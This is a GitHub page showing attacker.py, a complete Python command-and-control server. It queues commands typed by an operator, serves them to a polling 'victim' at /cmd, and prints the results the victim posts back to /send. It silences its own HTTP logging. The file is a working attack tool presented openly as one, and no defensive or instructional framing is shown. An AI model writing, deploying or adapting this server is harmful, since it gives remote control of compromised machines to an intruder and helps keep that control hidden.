-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathattacker.py
More file actions
81 lines (69 loc) · 2.35 KB
/
Copy pathattacker.py
File metadata and controls
81 lines (69 loc) · 2.35 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
import http.server
import socketserver
import urllib.parse
import queue
import threading
import sys
cmd_queue = queue.Queue()
class C2Handler(http.server.BaseHTTPRequestHandler):
# SILENCE ALL HTTP LOGS (no more spam)
def log_message(self, format, *args):
pass
def do_GET(self):
# Health check for the supervisor (root path)
if self.path == '/':
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
return
# Normal command polling
if self.path == '/cmd':
try:
cmd = cmd_queue.get(timeout=1)
except queue.Empty:
cmd = ''
self.send_response(200)
self.end_headers()
self.wfile.write(cmd.encode())
else:
self.send_response(404)
self.end_headers()
def do_POST(self):
if self.path == '/send':
content_len = int(self.headers.get('Content-Length', 0))
post_data = self.rfile.read(content_len).decode()
parsed = urllib.parse.parse_qs(post_data)
output = parsed.get('data', [''])[0]
# Print output cleanly, then prompt
sys.stdout.write("\n" + output + "\n")
sys.stdout.write("> ")
sys.stdout.flush()
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
else:
self.send_response(404)
self.end_headers()
def interactive_input():
"""Thread to read your commands."""
while True:
try:
cmd = input() # No prompt here, we print it in do_POST
cmd = cmd.strip()
if cmd:
cmd_queue.put(cmd)
except (EOFError, KeyboardInterrupt):
print("\n[!] Exiting.")
sys.exit(0)
def main():
PORT = 8080
with socketserver.TCPServer(("0.0.0.0", PORT), C2Handler) as httpd:
print(f"[+] C2 Server listening on port {PORT}")
print("[+] Type commands below. Output will appear after the victim polls.")
print("> ", end="", flush=True)
# Start the input thread
threading.Thread(target=interactive_input, daemon=True).start()
httpd.serve_forever()
if __name__ == "__main__":
main()